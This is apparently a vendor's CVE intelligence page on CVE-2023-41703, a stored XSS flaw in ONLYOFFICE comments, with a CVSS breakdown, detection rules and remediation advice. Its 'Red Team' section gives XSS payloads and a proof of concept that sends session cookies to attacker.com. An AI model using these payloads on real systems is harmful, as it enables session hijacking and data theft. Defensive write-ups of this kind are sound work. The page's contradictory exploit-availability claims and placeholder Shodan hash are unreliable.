☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-41703

CVE-2023-41703 Cross-Site Scripting in Onlyoffice
📅 PUBLISHED: 2024-02-12 08:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.71%
👁️
0.71% probability
17.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-41703 is a stored cross-site scripting (XSS) vulnerability in ONLYOFFICE, affecting the handling of user ID references in document comments. An attacker can craft a malicious document containing unsanitized script code in mentions or comments. When a victim opens this document, the script executes in the context of their session, potentially leading to data theft, session hijacking, or further compromise. The CVSS score is 6.1 (Medium), and no public exploits are known. The vendor has released patches that filter user-defined content to prevent injection.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ONLYOFFICE is a self-hosted office suite often deployed via Docker, Linux packages, or cloud instances. This vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby), but organizations using ONLYOFFICE as a document collaboration platform should verify their deployment version and apply the patch immediately.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim opens malicious document)
  • Scope: Changed (impact may extend beyond vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact can include session hijacking and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the comment and mention feature of ONLYOFFICE. When a user adds a comment and references another user via @mention, the user ID is embedded in the document. The sanitization logic failed to properly escape or filter script content within these references. An attacker can craft a document with a malicious payload in a mention, such as:

<script>alert('XSS')</script>

When the victim opens the document, the script executes in the browser context, allowing the attacker to steal cookies, perform actions on behalf of the victim, or inject further malicious content.

The root cause is insufficient output encoding of user-controlled data before rendering in the HTML document. The patch introduces filtering of user-defined content in comments and mentions to strip or escape potentially malicious HTML/JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):
The application directly inserts user-provided mention data into the DOM without sanitization.

// Vulnerable: unsanitized user input
document.getElementById('comment').innerHTML = userInput;

Patched Code (Conceptual):
The application sanitizes the input using a library like DOMPurify or escapes HTML entities.

// Patched: sanitized user input
const sanitized = DOMPurify.sanitize(userInput);
document.getElementById('comment').innerHTML = sanitized;

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to ONLYOFFICE instance (any version prior to patch).
  • Ability to upload a document or share a document with comments.

Steps:

  1. Create a new document in ONLYOFFICE.
  2. Add a comment containing a malicious mention:
    @<img src=x onerror=alert('XSS')>
    
  3. Save and share the document with the target user.
  4. When the target opens the document and views the comment, the XSS payload executes.

Proof-of-Concept (No public exploit available):

<!-- Malicious document comment -->
<p>Hello @<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script></p>

Blue Team

Detection:

  • Monitor for unusual document sharing activity.
  • Inspect document comments for suspicious HTML/JavaScript patterns.
  • Use WAF rules to block common XSS payloads in document uploads.

Hunting:

  • Search logs for @ followed by <script> or event handlers like onerror, onload.
  • Review user sessions for unexpected outbound connections.

Lab Setup:

  • Deploy a vulnerable ONLYOFFICE instance (e.g., version 7.3.0) in a sandboxed environment.
  • Use a browser with developer tools to inspect DOM after opening a malicious document.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from ONLYOFFICE client.
  • File: Document files containing <script> tags or event handlers in comment fields.
  • Logs: WARN or ERROR entries in ONLYOFFICE logs related to comment parsing.
  • Process: Unusual JavaScript execution in browser console when viewing documents.

Detection Engineering

YARA Rule

rule CVE_2023_41703_XSS {
    meta:
        description = "Detects malicious document comments with XSS payloads targeting ONLYOFFICE"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-41703"
    strings:
        $xss1 = /@<script[^>]*>/i
        $xss2 = /@<img[^>]+onerror/i
        $xss3 = /@<svg[^>]+onload/i
        $xss4 = /@<[^>]+onmouseover/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-41703 ONLYOFFICE XSS in Document Comments
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts via malicious document comments in ONLYOFFICE
author: Valters IT
logsource:
    product: onlyoffice
    service: document-server
detection:
    selection:
        EventID: 1001  # Example event ID for comment creation
        Comment|contains|all:
            - '@'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of @mentions with safe content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-41703 ONLYOFFICE XSS Attempt"; flow:to_server,established; content:"@"; http_client_body; content:"<script"; http_client_body; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Apply Patch: Upgrade ONLYOFFICE to the latest patched version as provided by the vendor.
  2. Input Validation: Ensure all user-generated content (comments, mentions) is sanitized using a robust HTML sanitizer (e.g., DOMPurify).
  3. Content Security Policy (CSP): Implement a strict CSP to block inline scripts and restrict script sources.
  4. User Awareness: Educate users not to open documents from untrusted sources.
  5. Network Segmentation: Restrict ONLYOFFICE access to trusted networks.
  6. Monitor Logs: Enable detailed logging for document comments and review for anomalies.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ONLYOFFICE"
http.favicon.hash:123456789

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-41703/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.